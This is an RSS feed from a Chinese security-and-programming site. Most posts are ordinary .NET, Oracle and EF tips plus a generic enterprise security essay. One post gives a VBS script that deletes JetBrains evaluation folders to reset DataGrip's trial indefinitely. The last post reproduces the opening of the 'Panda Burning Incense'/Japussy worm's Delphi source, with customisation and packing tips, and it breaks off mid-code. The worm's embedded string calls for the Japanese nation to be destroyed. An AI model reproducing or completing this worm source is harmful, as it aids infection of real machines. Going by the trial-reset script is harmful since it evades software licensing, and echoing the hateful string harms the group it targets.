云南网络安全联盟Rss http://www.yn-s.com 云南网络安全联盟,云南网安,云南黑客,云南IT zh_cn Copyright 2011 yn-s.com admin@cn0874.net 无法将类型为“Microsoft.VisualStudio.CommonIDE.Solutions.SolutionPropertyBagImpl”的对象强制转换为类型“Ankh.Scc.Native.ICOMPropertyBag /news/Details/138 <p>无法将类型为“Microsoft.VisualStudio.CommonIDE.Solutions.SolutionPropertyBagImpl”的对象强制转换为类型“Ankh.Scc.Native.ICOMPropertyBag</p><p><br /></p><p>ystem.InvalidCastException: Unable to cast object of typeMicrosoft.VisualStudio.CommonlDE.Solutions,solutionPropertyBag&#39; to type &#39;Ankh,Scc.Native.lCOMPropertyBag&#39;atAnkh.VSPackage,AnkhSvnPackage,Microsoft.VisualStudio.Shell.Interop.SolutionProps.WriteSolutionProps(VsHierarchyPropertyBag pPropBag</p><p><br /></p><p>解决方案:</p><p>在解决方案文件.sln文件内找到如下配置,移除之保存,重新打开即可</p><p><br /></p><pre class="brush:c#;toolbar:false;">GlobalSection(SubversionScc) = preSolution Svn-Managed = True Manager = AnkhSVN - Subversion Support for Visual Studio EndGlobalSection</pre><p><br /></p> 编程开发 2024-02-21T20:23:51.153 Oracle数据库DATE类型使用EF性能问题分析 /news/Details/137 <p>EF下未指定具体数据类型,DateTime类型字段在Oracle数据库下默认映射成TIMESTAMP类型,Oracle数据库默认时间类型都是DATE,这种情况直接查询,会造成需要TIMESTAMP隐式转换成DATE类型,造成性能下降。</p><p><br /></p><p>解决方法:</p><p>指定TypeName = &quot;DATE&quot;</p><pre class="brush:c#;toolbar:false;">/// &lt;summary&gt; /// 操作时间 /// &lt;/summary&gt; [Column("OPER_DATE", TypeName = "DATE")] public DateTime? OperDate { get; set; }</pre><p><br /></p><p>这样后,<span style="text-wrap:wrap;">默认使用TO_DATE()映射转换,而不是TO_TIMESTAMP()</span></p> 编程开发 2024-01-05T16:08:23 C#进程间通信 /news/Details/136 <p><strong>消息发送方</strong></p><p>一、引入系统方法SendMessage</p><pre class="brush:c#;toolbar:false;">private const int WM_COPYDATA = 0x004A;//这个不要随意更改,否则可能造成读取数据报错 [DllImport("User32.dll", EntryPoint = "SendMessage")] private static extern int SendMessage(IntPtr hWnd, int msg, int wParam, ref COPYDATASTRUCT lParam);</pre><p><br /></p><p>二、声明数据传输结构体</p><pre class="brush:c#;toolbar:false;">public struct COPYDATASTRUCT { public IntPtr dwData; public int cbData; [MarshalAs(UnmanagedType.LPStr)] public string lpData; }</pre><p><br /></p><p>三、消息发送</p><pre class="brush:c#;toolbar:false;">Process? process = Process.GetProcessesByName("WinFormsApp2").FirstOrDefault(); if (process == null) { MessageBox.Show("指定进程未找到"); return; } string message = "0012001256"; COPYDATASTRUCT cds; cds.dwData = (IntPtr)Convert.ToInt16(1);//可以是任意值 cds.cbData = bytes.Length + 1;//指定lpData内存区域的字节数 cds.lpData = message;//发送给目标窗口所在进程的数据 SendMessage(process.MainWindowHandle, WM_COPYDATA, 0, ref cds);</pre><p><br /></p><p><strong>消息接收方,进程名称“WinFormsApp2”</strong></p><p><br /></p><pre class="brush:c#;toolbar:false;">public partial class Form1 : Form { private const int WM_COPYDATA = 0x004A;//这个不要随意更改,否则可能造成读取数据报错 public Form1() { InitializeComponent(); } protected override void DefWndProc(ref Message m) { switch (m.Msg) { case WM_COPYDATA: COPYDATASTRUCT cds = new COPYDATASTRUCT(); cds = (COPYDATASTRUCT)m.GetLParam(typeof(COPYDATASTRUCT)); string result = cds.lpData; MessageBox.Show($"收到消息:{result}"); break; default: base.DefWndProc(ref m); break; } } } public struct COPYDATASTRUCT { public IntPtr dwData; public int cbData; [MarshalAs(UnmanagedType.LPStr)] public string lpData; }</pre><p><br /></p> 编程开发 2023-04-04T17:00:06 企业IT系统信息安全分析 /news/Details/135 <p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;"><strong>一、引言</strong></p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;"><strong><br /></strong></p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;">信息安全管理的强化,对保障企业信息系统的安全性提高企业竞争力有着积极作用,这也是企业IT系统应用管理的重要内容。只有充分保障IT系统信息安全,才能提高企业整体管理水平,对企业在市场当中的进一步发展也有着促进作用。</p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;"><br /></p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;"><strong>二、企业IT系统信息安全保障的重要性和存在的问题</strong></p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;"><br /></p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;">1.企业IT系统信息安全保障的重要性。</p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;"><br /></p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;">面对新的发展时代,加强企业IT信息的安全保障就显得比较重要,计算机技术的应用促进了企业的发展,尤其是对通信企业而言,保障系统的信息安全也是保护用户的隐私。在信息化进程的进一步加快发展背景下,各个领域的发展对信息化的依赖也比较大,通信企业的计算机系统安全问题在信息化的发展进程中就更为突出,在信息安全保障的要求上也有着加强,满足IT系统的安全性要求更加注重科学措施的实施。通信企业信息系统管理人员,在安全管理工作上就要进一步加强,对网络的连接以及系统模块的协调运作等更加重视,构建完善企业信息监控系统就显得比较重要,从而保障信息流的完整安全。</p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;"><br /></p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;">2.企业IT系统信息安全问题分析。</p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;"><br /></p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;">根据相应的统计,企业信息安全的攻击种类的种类已经不下20种,这对企业的信息安全就带来了直接性的影响。多元化的发展环境下,通信企业的IT信息安全面临的威胁也比较多,这些安全威胁的存在对通信企业的进一步发展就有着很大阻碍。主要的威胁问题有以下几种:</p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;">其一,软硬件的运维安全问题。通信企业的IT系统的信息安全影响因素中,由于在软硬件的运维管理上没有得到加强,对信息安全就造成了很大影响。硬件的管理是信息安全中比较容易实现的,但往往会在管理中忽视,信息的丢失以及服务中断,通常是硬件设备的断电以及硬件损坏所致,在硬件的运行维护工作上没有得到重视,从而就对信息的安全造成了危险。硬件的科学运维管理是对信息安全保障的基础,在实际的管理中还有待进一步加强。</p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;">其二,病毒的威胁问题。通信企业IT系统的信息安全威胁中,病毒是最为主要的威胁方式,在随着计算机网络技术的进一步发展下,病毒的种类也变得更多,多种多样的病毒方式对计算机系统的信息安全就造成了很大威胁。在最早的病毒会造成服务器故障,以及破坏数据信息等,这对通信企业的IT系统信息安全造成的损害比较大,其中间谍软件以及木马和行为记录软件等是比较重要的病毒威胁方式。在新的发展时期,计算机病毒对通信企业的IT信息安全造成的威胁进一步加大,病毒的变异使得在防御上也增加了难度,在信息安全的保障方面面临着巨大的挑战。</p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;">其三,黑客攻击的问题。通信企业在IT信息安全管理上有着重大任务,一旦造成信息系统的攻击问题,就会带来严重的损害。在黑客技术的进一步提高下,入侵威胁的危害也进一步加大,在IT系统中的商业信息比较多,受到利益的趋势,就使得非法系统侵入的人员也愈来愈专业化。一些黑客为了炫耀技术,就对计算机系统进行攻击,造成信息的丢失等安全问题。</p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;"><br /></p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;"><strong>三、企业IT系统信息安全保障措施</strong></p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;"><strong><br /></strong></p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;">为保障通信企业IT系统的信息安全,就要制定科学完善的方案,保障信息的安全。笔者结合实际的信息安全问题,制定了相应防范措施,如下所述:</p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;"><br /></p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;">1.信息安全管理措施。</p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;"><br /></p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;">第一,构建完善信息安全网络架构。保障通信企业的IT系统信息安全,就要充分重视从安全网络架构方面进行完善建立。通信企业信息安全系统的实现当中,对主机系统以及网络和应用层安全网络架构进行建立。可对内外网实施有效划分,保障网络边界的清晰,以及设置ChokePoint,并设置诸如防火墙的安全设备,对通信企业的内部网络安全要能保证。安全关口在系统失败时就要对所有网络连接进行端口。</p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;">第二,要能构建完善的信息安全中心。保障网络数据的备份,对通信企业的信息安全进行有效保护。要能实现对通信企业信息安全的综合性分析,在网络管理工作站的作用下,对信息系统综合性的分析,对存在的信息安全问题要及时性的进行反馈。网络信息安全的实时监测工作要加强,多元化的网络发展环境,系统漏洞也比较多,通过进行实时的监控,就能有助于保障信息的安全。</p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;">第三,加强构建完善网络信息安全机制。对信息安全的保障方面,需要从制度上着手实施,通过制度的规制保障网络信息的安全性。在具体的措施实施上,就要对网络受到攻击时的及时性反应进行加强,构建完善快速的预警机制。构建有效的信息安全监测机制,对通信企业的网络运行数据及时性的监测收集,保障信息系统的安全性。再有就要构建访问管理的机制,没有经过允许以及没有权限的访问加强管理,拒绝访问要求。</p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;">第四,强化IT设备的管理。为能保障系统信息安全,就要充分重视设备的安全管理,对网络的正常运行下,在相应设备的安全管理工作妥善实施,保障信息安全。管理人员严格按照规章制度进行操作,最大化的保障设备的安全。</p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;"><br /></p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;">2.信息安全技术防御措施。</p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;"><br /></p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;">第一,信息数据加密技术的应用。保障通信企业IT系统信息安全,在数据加密技术的应用上是比较重要的,数据加密以及解密技术应用了大量经典数据加密算法以及规则。在加密技术的应用中只有拥有特定密钥或解密算法才能读取信息,这一技术的应用对保障通信企业的信息安全就发挥着重要作用,在商业信息当中以及系统的安全稳定保护方面都能进行应用。</p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;">第二,信息安全防火墙技术应用。保障通信企业IT系统的信息安全,通过防火墙技术的应用就能发挥积极作用。防火墙的技术应用设置系统中终端信息交换点,对外只是开放信息交换点,不是整个网络架构,对保护系统的信息交换点,就能保障整体的系统安全,能通过特定的安全策略进行监控保护信息系统的数据信息流。防火墙技术也是对信息安全保护的基础性应用技术。</p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;">第三,信息安全入侵检测技术应用。对通信企业IT系统信息安全保障,在入侵检测技术的应用下能发挥重要作用,能有效对系统中可疑的信息进行检测,及时发展问题查杀。专业的入侵检测技术的应用,能有效弥补防火墙技术的不足,在恢复以及跟踪等手段应用下,对企业收集入侵证据起到了重要作用。</p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;"><br /></p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;"><strong>四、结语</strong></p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;"><strong><br /></strong></p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;">总而言之,通信企业IT系统的信息安全保护是系统性的工作,只有在安全管理上以及防护技术的综合应用下,才能真正保障信息安全。由于受到篇幅的限制,不能进一步深化研究,希望能通过此次理论研究,有助于实际信息安全的保护。</p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;"><br /></p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;">作者:赵青 单位:中国电信股份有限公司宁夏分公司</p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;">参考文献:</p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;">[1]陈宪宇.企业IT管理和控制研究[J].工业技术经济.2015(09).</p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;">[2]惠志斌.企业IT风险管理的体系构建与实现路径[J].科技管理研究.2014(02).</p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;">[3]李秋迪,左美云,周军杰.基于复杂适应系统理论的电子商务企业IT能力研究[J].管理学报.2013(09).</p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;">[4]朱治国,吴连勇,孙毅.新集成IT系统在线运行评价系统的研究[J].电信科学.2016(12).</p><p style="font-family:&quot;microsoft yahei&quot;;font-size:medium;">[5]郑龙.企业IT系统的安全性分析和防护[J].信息与电脑(理论版).2015(05).</p> 企业安全 2023-03-10T19:50:47.003 EF/EFCore访问Oracle数据库命不中索引,执行慢问题 /news/Details/134 <p>如果你Oracle数据库的字段类型varchar2,你C#的model类使用string则默认会命不中索引,造成执行性能慢问题</p><p><br /></p><p>EFCore解决方案:</p><p>因为EF访问Oracle默认支持Unicode数据类型,默认将string映射为nvarchar2,如果数据库类型不是nvarchar2则无法命中索引。</p><p>重写context的OnModelCreating,将默认string映射修改为varchar2,即不支持Unicode类型即可</p><pre class="brush:c#;toolbar:false;">protected override void OnModelCreating(ModelBuilder modelBuilder) { //解决Unicode类型前加N后命不中索引问题 foreach (var property in modelBuilder.Model.GetEntityTypes().SelectMany(t =&gt; t.GetProperties()).Where(p =&gt; p.ClrType == typeof(string))) { property.SetIsUnicode(false); } base.OnModelCreating(modelBuilder); }</pre><p><br /></p><p>EF解决方案:</p><pre class="brush:c#;toolbar:false;">protected override void OnModelCreating(DbModelBuilder modelBuilder) { //解决Unicode类型前加N后命不中索引问题 modelBuilder.Properties&lt;string&gt;().Configure(c =&gt; c.IsUnicode(false)); base.OnModelCreating(modelBuilder); }</pre><p><br /></p><p>至此可解决因数据类型不一致造成的数据库查询性能问题</p> 黑客动态 2022-03-02T16:23:09 Nhibernate访问Oracle数据库命不中索引,执行慢问题 /news/Details/133 <p>Nhibernate默认把 .net 的 string 映射为 DbType.String,把 DbType.String 映射为 nvarchar2 ,把 DbType.AnsiString 映射为 varchar2</p><p><br /></p><p>如果你Oracle数据库的字段类型varchar2,你用默认设置SetParameter(string,string)则因映射数据类型不一致,造成无法命中索引,SQL执行慢;使用SetAnsiString(string,string)则可以命中索引。</p> 编程开发 2022-03-02T16:12:27.477 EF decimal默认两位经度修改 /news/Details/132 <p>EF中默认的decimal数据精度为两位数,当我们数据库设置的精度大于2时,EF将只会保留到2为精度。</p><p><br /></p><p>可使用如下方法将其修改为4位精度:</p><p><br /></p><p>EF</p><pre class="brush:c#;toolbar:false;">protectedoverridevoidOnModelCreating(DbModelBuilder modelBuilder) { modelBuilder.Properties&lt;decimal&gt;().Configure(config =&gt; config.HasPrecision(18, 4)); }</pre><p><br /></p><p>EF CORE:</p><pre class="brush:c#;toolbar:false;">foreach (var property in modelBuilder.Model.GetEntityTypes().SelectMany(t =&gt; t.GetProperties()).Where(p =&gt; p.ClrType == typeof(decimal) || p.ClrType == typeof(decimal?))) { property.SetColumnType("decimal(18,4)"); }</pre><p><br /></p> 黑客动态 2021-09-15T16:57:38 DataGrip永久试用方法 /news/Details/131 <p>新建vbs脚本文件删除注册表信息达到永久试用,脚本内容:<br /></p><p><br /></p><pre class="brush:bash;toolbar:false;">Set oShell = CreateObject("WScript.Shell") Set oFS = CreateObject("Scripting.FileSystemObject") sHomeFolder = oShell.ExpandEnvironmentStrings("%USERPROFILE%") sJBDataFolder = oShell.ExpandEnvironmentStrings("%APPDATA%") + "\JetBrains" Set re = New RegExp re.Global = True re.IgnoreCase = True re.Pattern = "\.?(IntelliJIdea|GoLand|CLion|PyCharm|DataGrip|RubyMine|AppCode|PhpStorm|WebStorm|Rider).*" Sub removeEval(ByVal file, ByVal sEvalPath) bMatch = re.Test(file.Name) If Not bMatch Then Exit Sub End If If oFS.FolderExists(sEvalPath) Then oFS.DeleteFolder sEvalPath, True End If End Sub If oFS.FolderExists(sHomeFolder) Then For Each oFile In oFS.GetFolder(sHomeFolder).SubFolders removeEval oFile, sHomeFolder + "\" + oFile.Name + "\config\eval" Next End If If oFS.FolderExists(sJBDataFolder) Then For Each oFile In oFS.GetFolder(sJBDataFolder).SubFolders removeEval oFile, sJBDataFolder + "\" + oFile.Name + "\eval" Next End If</pre><p><br /></p> 编程开发 2020-09-04T11:11:05 Oracle SQL Developer 设置英文界面和字体 /news/Details/130 <p>默认是中文界面,软件内部部分又是英文,看起来很乱,统一设置成英文,方法如下:</p><p><br /></p><p>打开配置文件:\sqldeveloper\bin\sqldeveloper.conf</p><p><br /></p><p>在末尾添加如下配置信息</p><p><br /></p><pre class="brush:sql;toolbar:false;"># 设置界面为英文 AddVMOption -Duser.language=en AddVMOption -Duser.country=US # 设置界面字体为微软雅黑 AddVMOption -Dswing.plaf.metal.controlFont=Microsoft YaHei UI AddVMOption -Dswing.plaf.metal.userFont=Microsoft YaHei UI AddVMOption -Dswing.plaf.metal.systemFont=Microsoft YaHei UI AddVMOption -Dswing.plaf.metal.smallFont=Microsoft YaHei UI</pre><p><br /></p> 编程开发 2020-02-19T11:58:14 oracle 身份证校验函数 /news/Details/129 <p>1、正则表达式写法:</p><pre class="brush:sql;toolbar:false;">CREATE OR REPLACE FUNCTION fn_checkidcard (p_idcard IN VARCHAR2) RETURN INT IS v_regstr VARCHAR2 (2000); v_sum NUMBER; v_mod NUMBER; v_checkcode CHAR (11) := '10X98765432'; v_checkbit CHAR (1); v_areacode VARCHAR2 (2000) := '11,12,13,14,15,21,22,23,31,32,33,34,35,36,37,41,42,43,44,45,46,50,51,52,53,54,61,62,63,64,65,71,81,82,91,'; BEGIN CASE LENGTHB (p_idcard) WHEN 15 THEN -- 15位 IF INSTRB (v_areacode, SUBSTR (p_idcard, 1, 2) || ',') = 0 THEN RETURN 0; END IF; IF MOD (TO_NUMBER (SUBSTRB (p_idcard, 7, 2)) + 1900, 400) = 0 OR ( MOD (TO_NUMBER (SUBSTRB (p_idcard, 7, 2)) + 1900, 100) &lt;&gt; 0 AND MOD (TO_NUMBER (SUBSTRB (p_idcard, 7, 2)) + 1900, 4) = 0 ) THEN -- 闰年 v_regstr := '^[1-9][0-9]{5}[0-9]{2}((01|03|05|07|08|10|12)(0[1-9]|[1-2][0-9]|3[0-1])|(04|06|09|11)(0[1-9]|[1-2][0-9]|30)|02(0[1-9]|[1-2][0-9]))[0-9]{3}$'; ELSE v_regstr := '^[1-9][0-9]{5}[0-9]{2}((01|03|05|07|08|10|12)(0[1-9]|[1-2][0-9]|3[0-1])|(04|06|09|11)(0[1-9]|[1-2][0-9]|30)|02(0[1-9]|1[0-9]|2[0-8]))[0-9]{3}$'; END IF; IF REGEXP_LIKE (p_idcard, v_regstr) THEN RETURN 1; ELSE RETURN 0; END IF; WHEN 18 THEN -- 18位 IF INSTRB (v_areacode, SUBSTRB (p_idcard, 1, 2) || ',') = 0 THEN RETURN 0; END IF; IF MOD (TO_NUMBER (SUBSTRB (p_idcard, 7, 4)), 400) = 0 OR ( MOD (TO_NUMBER (SUBSTRB (p_idcard, 7, 4)), 100) &lt;&gt; 0 AND MOD (TO_NUMBER (SUBSTRB (p_idcard, 7, 4)), 4) = 0 ) THEN -- 闰年 v_regstr := '^[1-9][0-9]{5}(19|20)[0-9]{2}((01|03|05|07|08|10|12)(0[1-9]|[1-2][0-9]|3[0-1])|(04|06|09|11)(0[1-9]|[1-2][0-9]|30)|02(0[1-9]|[1-2][0-9]))[0-9]{3}[0-9Xx]$'; ELSE v_regstr := '^[1-9][0-9]{5}(19|20)[0-9]{2}((01|03|05|07|08|10|12)(0[1-9]|[1-2][0-9]|3[0-1])|(04|06|09|11)(0[1-9]|[1-2][0-9]|30)|02(0[1-9]|1[0-9]|2[0-8]))[0-9]{3}[0-9Xx]$'; END IF; IF REGEXP_LIKE (p_idcard, v_regstr) THEN v_sum := ( TO_NUMBER (SUBSTRB (p_idcard, 1, 1)) + TO_NUMBER (SUBSTRB (p_idcard, 11, 1)) ) * 7 + ( TO_NUMBER (SUBSTRB (p_idcard, 2, 1)) + TO_NUMBER (SUBSTRB (p_idcard, 12, 1)) ) * 9 + ( TO_NUMBER (SUBSTRB (p_idcard, 3, 1)) + TO_NUMBER (SUBSTRB (p_idcard, 13, 1)) ) * 10 + ( TO_NUMBER (SUBSTRB (p_idcard, 4, 1)) + TO_NUMBER (SUBSTRB (p_idcard, 14, 1)) ) * 5 + ( TO_NUMBER (SUBSTRB (p_idcard, 5, 1)) + TO_NUMBER (SUBSTRB (p_idcard, 15, 1)) ) * 8 + ( TO_NUMBER (SUBSTRB (p_idcard, 6, 1)) + TO_NUMBER (SUBSTRB (p_idcard, 16, 1)) ) * 4 + ( TO_NUMBER (SUBSTRB (p_idcard, 7, 1)) + TO_NUMBER (SUBSTRB (p_idcard, 17, 1)) ) * 2 + TO_NUMBER (SUBSTRB (p_idcard, 8, 1)) * 1 + TO_NUMBER (SUBSTRB (p_idcard, 9, 1)) * 6 + TO_NUMBER (SUBSTRB (p_idcard, 10, 1)) * 3; v_mod := MOD (v_sum, 11); v_checkbit := SUBSTRB (v_checkcode, v_mod + 1, 1); IF v_checkbit = upper(substrb(p_idcard,18,1)) THEN RETURN 1; ELSE RETURN 0; END IF; ELSE RETURN 0; END IF; ELSE RETURN 0; -- 身份证号码位数不对 END CASE; EXCEPTION WHEN OTHERS THEN RETURN 0; END fn_checkidcard;</pre><p><br /></p><p>2、非正则表达式写法</p><pre class="brush:sql;toolbar:false;">Create Or Replace Function Func_checkIdcard (p_idcard in varchar2) Return Number Is v_sum Number; v_mod Number; v_length Number; v_date Varchar2(10); v_isDate Boolean; v_isNumber Boolean; v_isNumber_17 Boolean; v_checkbit CHAR (1); v_checkcode CHAR (11) := '10X98765432'; v_areacode VARCHAR2 (2000) := '11,12,13,14,15,21,22,23,31,32,33,34,35,36,37,41,42,43,44,45,46,50,51,52,53,54,61,62,63,64,65,71,81,82,91,'; --[isNumber]-- Function isNumber (p_string in varchar2) Return Boolean Is i number; k number; flag boolean; v_length number; Begin /* 算法: 通过ASCII码判断是否数字,介于[48, 57]之间。 select ascii('0'),ascii('1'),ascii('2'),ascii('3'),ascii('4'),ascii('5'),ascii('6'),ascii('7'),ascii('8'),ascii('9') from dual; */ flag := True; select length(p_string) into v_length from dual; for i in 1..v_length loop k := ascii(substr(p_string,i,1)); if k &lt; 48 or k &gt; 57 then flag := False; Exit; end if; end loop; Return flag; End isNumber; --[isDate]-- Function isDate (p_date in varchar2) Return Boolean Is v_flag boolean; v_year number; v_month number; v_day number; v_isLeapYear boolean; Begin --[初始化]-- v_flag := True; --[获取信息]-- v_year := to_number(substr(p_date,1,4)); v_month := to_number(substr(p_date,5,2)); v_day := to_number(substr(p_date,7,2)); --[判断是否为闰年]-- if (mod(v_year,400) = 0) Or (mod(v_year,100) &lt;&gt; 0 And mod(v_year,4) = 0) then v_isLeapYear := True; else v_isLeapYear := False; end if; --[判断月份]-- if v_month &lt; 1 Or v_month &gt; 12 then v_flag := False; Return v_flag; end if; --[判断日期]-- if v_month in (1,3,5,7,8,10,12) and (v_day &lt; 1 or v_day &gt; 31) then v_flag := False; end if; if v_month in (4,6,9,11) and (v_day &lt; 1 or v_day &gt; 30) then v_flag := False; end if; if v_month in (2) then if (v_isLeapYear) then --[闰年]-- if (v_day &lt; 1 or v_day &gt; 29) then v_flag := False; end if; else --[非闰年]-- if (v_day &lt; 1 or v_day &gt; 28) then v_flag := False; end if; end if; end if; --[返回结果]-- Return v_flag; End isDate; Begin /* 返回值说明: -1 身份证号码位数不对 -2 身份证号码出生日期超出范围 -3 身份证号码含有非法字符 -4 身份证号码校验码错误 -5 身份证号码地区码非法 1 身份证号码通过校验 */ --[长度校验]-- select lengthb(p_idcard) into v_length from dual; if v_length not in (15,18) then return -1; end if; --[区位码校验]-- if instrb(v_areacode, substr(p_idcard, 1, 2)||',') = 0 then return -5; end if; --[格式化校验]-- if v_length = 15 then v_isNumber := isNumber (p_idcard); if not (v_isNumber) then return -3; end if; elsif v_length = 18 then v_isNumber := isNumber (p_idcard); v_isNumber_17 := isNumber (substr(p_idcard,1,17)); if not ((v_isNumber) or (v_isNumber_17 and upper(substr(p_idcard,18,1)) = 'X')) then return -3; end if; end if; --[出生日期校验]-- if v_length = 15 then select '19'||substr(p_idcard,7,6) into v_date from dual; elsif v_length = 18 then select substr(p_idcard,7,8) into v_date from dual; end if; v_isDate := isDate (v_date); if not (v_isDate) then return -2; end if; --[校验码校验]-- if v_length = 18 then v_sum := ( TO_NUMBER (SUBSTRB (p_idcard, 1, 1)) + TO_NUMBER (SUBSTRB (p_idcard, 11, 1)) ) * 7 + ( TO_NUMBER (SUBSTRB (p_idcard, 2, 1)) + TO_NUMBER (SUBSTRB (p_idcard, 12, 1)) ) * 9 + ( TO_NUMBER (SUBSTRB (p_idcard, 3, 1)) + TO_NUMBER (SUBSTRB (p_idcard, 13, 1)) ) * 10 + ( TO_NUMBER (SUBSTRB (p_idcard, 4, 1)) + TO_NUMBER (SUBSTRB (p_idcard, 14, 1)) ) * 5 + ( TO_NUMBER (SUBSTRB (p_idcard, 5, 1)) + TO_NUMBER (SUBSTRB (p_idcard, 15, 1)) ) * 8 + ( TO_NUMBER (SUBSTRB (p_idcard, 6, 1)) + TO_NUMBER (SUBSTRB (p_idcard, 16, 1)) ) * 4 + ( TO_NUMBER (SUBSTRB (p_idcard, 7, 1)) + TO_NUMBER (SUBSTRB (p_idcard, 17, 1)) ) * 2 + TO_NUMBER (SUBSTRB (p_idcard, 8, 1)) * 1 + TO_NUMBER (SUBSTRB (p_idcard, 9, 1)) * 6 + TO_NUMBER (SUBSTRB (p_idcard, 10, 1)) * 3; v_mod := MOD (v_sum, 11); v_checkbit := SUBSTRB (v_checkcode, v_mod + 1, 1); if v_checkbit = upper(substrb(p_idcard,18,1)) then return 1; else return -4; end if; else return 1; end if; End Func_checkIdcard;</pre><p><br /></p> 数据库 2019-09-10T11:25:29.47 全面解析“网络中部分熊猫烧香病毒代码” /news/Details/128 <p><span style="font-family:宋体;font-size:12px;background-color:#ffffff;">全面解析“网络中部分熊猫烧香病毒代码”</span><br style="font-family:宋体;font-size:12px;background-color:#ffffff;" /><span style="font-family:宋体;font-size:12px;background-color:#ffffff;">写这些东西的目的是为了让大家能熟悉病毒制造流程及方式以便更好的防止病毒攻击,请勿用于不法目的,如造成损失本人不承担任何法律责任。</span><br style="font-family:宋体;font-size:12px;background-color:#ffffff;" /><span style="font-family:宋体;font-size:12px;background-color:#ffffff;">以下是“网络中流传的熊猫烧香病毒代码”:</span><br style="font-family:宋体;font-size:12px;background-color:#ffffff;" /><span style="font-family:宋体;font-size:12px;background-color:#ffffff;">program Japussy; // &nbsp; &nbsp; &nbsp; //项目名称你可以起任何名称如:xiaomao xiaogou</span><br style="font-family:宋体;font-size:12px;background-color:#ffffff;" /><span style="font-family:宋体;font-size:12px;background-color:#ffffff;">uses </span><br style="font-family:宋体;font-size:12px;background-color:#ffffff;" /><span style="font-family:宋体;font-size:12px;background-color:#ffffff;">Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry}; &nbsp;//函数接口库文件</span><br style="font-family:宋体;font-size:12px;background-color:#ffffff;" /><span style="font-family:宋体;font-size:12px;background-color:#ffffff;">const </span><br style="font-family:宋体;font-size:12px;background-color:#ffffff;" /><span style="font-family:宋体;font-size:12px;background-color:#ffffff;">HeaderSize = 82432; //病毒体的大小 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//未经过压缩的病毒体大小</span><br style="font-family:宋体;font-size:12px;background-color:#ffffff;" /><span style="font-family:宋体;font-size:12px;background-color:#ffffff;">IconOffset = $12EB8; //PE文件主图标的偏移量 &nbsp; &nbsp;//也就是大家熟悉的熊猫图案在EXE文件资源中的偏移量,其中对应的是十六进制的代码,可以用Eredit32等工具查看到</span></p><p style="font-family:宋体;font-size:12px;background-color:#ffffff;"><br /></p><p style="font-family:宋体;font-size:12px;background-color:#ffffff;">//在Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同 <br />//查找2800000020的十六进制字符串可以找到主图标的偏移量 &nbsp; //所使用的delphi版本不同偏移量有可能不一样</p><p style="font-family:宋体;font-size:12px;background-color:#ffffff;">{ <br />HeaderSize = 38912; //Upx压缩过病毒体的大小 &nbsp;//目前流行的PE文件常用的压缩工具还有北斗、ASPpack等工具网络一大堆自己找<br />IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量</p><p style="font-family:宋体;font-size:12px;background-color:#ffffff;">//Upx 1.24W 用法: upx -9 --8086 Japussy.exe <br />} <br />IconSize = $2E8; //PE文件主图标的大小--744字节 <br />IconTail = IconOffset + IconSize; //PE文件主图标的尾部 <br />ID = $44444444; &nbsp; &nbsp; &nbsp; &nbsp; //感染标记 可以做成其他标记</p><p style="font-family:宋体;font-size:12px;background-color:#ffffff;">//垃圾码,以备写入 <br />Catchword = &#39;If a race need to be killed out, it must be Yamato. &#39; + <br />&#39;If a country need to be destroyed, it must be Japan! &#39; + &nbsp; &nbsp;//垃圾代码就随便写了,可以骂骂小日本等<br />&#39;*** W32.Japussy.Worm.A ***&#39;; <br />{$R *.RES} <br />//将病毒主体程序注册成服务进程,以便隐藏<br />function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; <br />stdcall; external &#39;Kernel32.dll&#39;; //函数声明 <br />var <br />TmpFile: string; <br />Si: STARTUPINFO; <br />Pi: PROCESS_INFORMATION; <br />IsJap: Boolean = False; //日文操作系统标记 <br />{ 判断是否为Win9x } <br />function IsWin9x: Boolean; <br />var <br />Ver: TOSVersionInfo; <br />begin <br />Result := False; <br />Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); <br />if 